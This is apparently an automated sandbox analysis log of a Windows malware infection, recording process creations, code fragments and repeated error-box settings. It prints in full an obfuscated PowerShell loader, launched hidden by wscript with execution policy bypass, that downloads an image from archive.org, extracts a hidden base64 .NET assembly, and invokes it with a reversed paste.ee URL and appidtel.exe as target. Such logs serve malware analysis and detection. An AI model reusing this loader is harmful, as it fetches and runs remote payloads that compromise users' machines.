Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB49FE4FF3 push eax; retf	5_2_00007FFB49FE4FE9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB49FD08CD push E95B7C1Ch; ret	8_2_00007FFB49FD0909
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004190B6 push esi; ret	11_2_004190B9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0041AAB9 push esp; retf	11_2_0041AB04
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004123D8 push edi; retf	11_2_004123EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004123E3 push edi; retf	11_2_004123EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004023B0 push esi; iretd	11_2_004023BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0040AC63 push edi; retf	11_2_0040AC73
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004074B7 pushfd ; iretd	11_2_004074B9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0041F4BF push es; iretd	11_2_0041F4CF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00412549 push ebx; iretd	11_2_0041254A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00403590 push eax; ret	11_2_00403592
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00411E28 push ebx; retf	11_2_00411E2D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00406685 push FFFFFFCBh; retf	11_2_0040668C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034009AD push ecx; mov dword ptr [esp], ecx	11_2_034009B6

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
